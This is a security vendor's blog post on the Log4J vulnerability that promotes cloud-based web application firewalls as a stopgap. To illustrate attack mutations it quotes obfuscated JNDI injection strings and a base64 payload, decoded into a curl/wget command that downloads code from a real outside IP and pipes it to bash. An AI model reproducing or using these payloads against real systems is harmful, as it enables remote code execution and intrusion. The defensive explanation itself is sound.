Every CIO / CISO worth their weight has spent the better part of four days trying to under the Log4J Vulnerability and more importantly, their organizations unique exposure.
This article won’t dive into the vulnerability, that is being covered at nauseum and some organizations are doing exceptionally well with their write-ups. Here are some notable ones:
- Swiss Government – Zero-Day Exploit Targeting Popular Java Library Log4j
- Apache Log4j Security Vulnerabilities
- CVE 2021-44228
One of the cleanest illustrations of what is happening with this vulnerability can be seen by the Swiss governments illustration here:
One of the cleanest illustrations of what is happening with this vulnerability can be seen by the Swiss governments illustration here:
The most practical recommendation being offered is a simple one – update. It is reported that any version of log4j between versions 2.0 and 2.14.1 is vulnerable.
If you are not able to update, the recommendation is to isolate access and if it’s public facing remove external access.
While the recommendations are practical, for many it’s proving a bit more complex and not realistic. Organizations are being overwhelmed by a knowledge deficit and rigid configuration control processes that hamper remediation of large scale issues like this.
Cloud-Based WAF Solutions
One of the more effective solutions we’re seeing to remediating this vulnerability comes in the form of cloud-based Web Application Firewalls (WAF).
Whether it is ours, or another providers, LOG4J is highlighting the importance of cloud-based WAF services. The value proposition boils down to two key elements:
- Speed – The ability to quickly adapt to the changing landscape;
- Effectiveness – The ability to keep the attacks off-prem;
At the core of how this vulnerability works, the logs have to make their way into the network at some point. On-prem solutions are failing because of this very critical weakness. When an attack is blocked by an on-prem solution, it is then recorded in the log and pushed into the internal SIEM solution. A cloud-based service retains the log information off-prem, unless explicitly configured to push the logs internally.
More importantly, however, is the ability to quickly apply virtual patches as the threat landscape evolves.
For example, here are some of mutations we have been watching and monitoring since the vulnerability was released last week:
Example 1: Encoding LDAP
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:Example 2: Encoding the Payload
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:Example 3: Leveraging Base64
KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDcuMjQ2LjEwNi4xNTc6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA3LjI0Ni4xMDYuMTU3OjgwKXxiYXNoWhich translates to this:
(curl -s 45.155.205.233:5874/207.246.106.XX:80||wget -q -O- 45.155.205.233:5874/207.246.106.XX:80)|bash
So a Cloud-Based WAF Would have Prevented LOG4J?
No, we don’t live in a world of absolutes. And, in many instances rules are being developed after the zero-day was released, and as it morphs with time.
They can, however, be an extremely effective complementary security control. They have the ability to reduce the exposure through fast responses with very little impact to product, while also helping to augment your already stressed security team. They introduce a very critical element to the equation – time. Time to take the steps needed to apply updates in a safe, and secure manner.